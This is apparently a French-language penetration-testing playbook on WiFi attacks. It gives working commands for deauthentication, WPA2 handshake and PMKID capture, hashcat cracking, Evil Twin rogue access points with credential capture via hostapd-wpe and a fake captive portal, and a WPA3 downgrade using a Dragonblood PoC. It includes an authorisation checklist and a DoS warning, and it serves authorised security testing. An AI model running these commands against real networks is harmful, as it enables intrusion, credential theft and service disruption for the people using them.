---
title: "Attaques WiFi — WPA2, PMKID, Evil Twin"
domain: security
subdomain: pentest
phase: 04-exploitation
type: playbook
tags: [wifi, wpa2, wpa3, pmkid, evil-twin, aircrack, hashcat, wireless, pentest]
difficulty: intermediate
status: stable
updated: "2025-05-14"
---
## Mise en place mode monitor

```bash
# Tuer les processus qui interfèrent (NetworkManager, wpa_supplicant)
airmon-ng check kill

# Créer l'interface monitor
airmon-ng start wlan0

# Vérifier le mode monitor
iwconfig wlan0mon

# Changer de canal
iw dev wlan0mon set channel {{CHANNEL}}
```

## Reconnaissance WiFi

```bash
# Scanner tous les réseaux visibles
airodump-ng wlan0mon

# Cibler un AP spécifique (écrire dans capture-01.cap)
airodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w capture wlan0mon
```

Colonnes importantes dans airodump-ng :

| Colonne | Description |
|---------|-------------|
| BSSID | MAC de l'AP |
| PWR | Force du signal (plus négatif = plus faible) |
| Beacons | Trames de balise émises |
| Data | Paquets de données capturés |
| CH | Canal |
| ENC | Chiffrement (OPN, WEP, WPA, WPA2) |
| CIPHER | CCMP, TKIP |
| AUTH | PSK, MGT (Enterprise) |
| ESSID | Nom du réseau |

## Capture handshake WPA2 (4-way handshake)

```bash
# Lancer la capture en ciblant l'AP
airodump-ng -c {{CHANNEL}} --bssid {{BSSID}} -w handshake wlan0mon

# Dans un autre terminal : forcer une déauthentification pour capturer la reconnexion
aireplay-ng -0 5 -a {{BSSID}} -c {{CLIENT_MAC}} wlan0mon

# Vérifier que le handshake est présent dans le fichier
aircrack-ng handshake-01.cap
```

Le handshake s'affiche en haut à droite dans airodump-ng : `WPA handshake: {{BSSID}}`

## PMKID Attack (sans client connecté)

```bash
# Capturer le PMKID directement depuis l'AP (pas besoin de client)
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=3

# Convertir au format hashcat 22000
hcxpcapngtool -o hash.hc22000 capture.pcapng

# Cracker le hash
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
```

Le PMKID est dérivé de : `PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || STA_MAC)`
— pas besoin qu'un client soit connecté, l'AP diffuse l'information.

## Cracking avec hashcat

```bash
# Convertir le cap en format hc22000 (remplace hccapx)
hcxpcapngtool -o hash.hc22000 handshake-01.cap

# Attaque dictionnaire
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Attaque avec règles
hashcat -m 22000 hash.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rule

# Bruteforce masque — 8 chiffres (box opérateur)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d

# Masque alphanumérique 8 chars
hashcat -m 22000 hash.hc22000 -a 3 ?a?a?a?a?a?a?a?a

# Reprendre une session interrompue
hashcat -m 22000 hash.hc22000 wordlist.txt --session wifi --restore
```

## Evil Twin (AP rogue)

```bash
# Créer un AP clone avec même ESSID
airbase-ng -e "{{SSID}}" -c {{CHANNEL}} wlan0mon

# Déauthentifier les clients de l'AP légitime (les forcer vers le rogue AP)
aireplay-ng -0 0 -a {{BSSID}} wlan0mon

# Avec bettercap (plus complet)
bettercap -iface wlan0
# Dans bettercap :
wifi.recon on
wifi.deauth {{BSSID}}

# hostapd-wpe — capture credentials WPA Enterprise (EAP-PEAP, EAP-TTLS)
# Modifier /etc/hostapd-wpe/hostapd-wpe.conf : ssid={{SSID}}, channel={{CHANNEL}}
hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Les credentials MSCHAPv2 apparaissent dans le terminal
# → cracker avec asleap ou hashcat -m 5500
```

Portail captif pour Evil Twin : combiner avec `dnsmasq` + serveur web Python pour intercepter les credentials saisis sur une fausse page de connexion.

## WPA3 — Dragonblood (CVE-2019-9494)

```bash
# Vérifier si le réseau est en mode transition WPA2/WPA3
airodump-ng wlan0mon | grep -E "WPA2|WPA3|SAE"

# Downgrade vers WPA2 si transition mode activé
# → forcer la reconnexion avec un AP WPA2 (même SSID) : le client accepte WPA2

# Side-channel timing attack sur SAE handshake
# Outil dragonslayer (PoC Mathy Vanhoef)
git clone https://github.com/vanhoefm/dragonslayer
python3 dragonslayer/dragonslayer.py -i wlan0mon -b {{BSSID}}
```

<Warning>La déauthentification (802.11 DeAuth) est une attaque DoS — elle déconnecte TOUS les utilisateurs de l'AP cible. Limiter le nombre de paquets (-0 5) et coordonner avec le client pour éviter les interruptions de service.</Warning>

<Checklist
  title="Checklist WiFi Pentest"
  storageKey="pentest-wifi"
  items={[
    { id: "auth", label: "Autorisation écrite obtenue (scope WiFi inclus)", critical: true },
    { id: "monitor", label: "Mode monitor activé (wlan0mon)" },
    { id: "recon", label: "BSSID, ESSID, canal et clients notés" },
    { id: "handshake", label: "Handshake WPA2 ou PMKID capturé" },
    { id: "cracking", label: "Cracking lancé (hashcat -m 22000)" },
    { id: "evil-twin", label: "Evil Twin testé si inclus dans le scope" },
    { id: "cleanup", label: "Mode monitor désactivé (airmon-ng stop wlan0mon)", critical: true },
  ]}
/>

<Tip>
Toujours vérifier le scope avant tout test WiFi — certains clients excluent explicitement les tests sans fil. Pour maximiser les chances de capture du handshake, positionner l'antenne entre le client et l'AP légitime et utiliser un adaptateur WiFi avec support de l'injection de paquets (Alfa AWUS036ACH, AWUS1900).
</Tip>
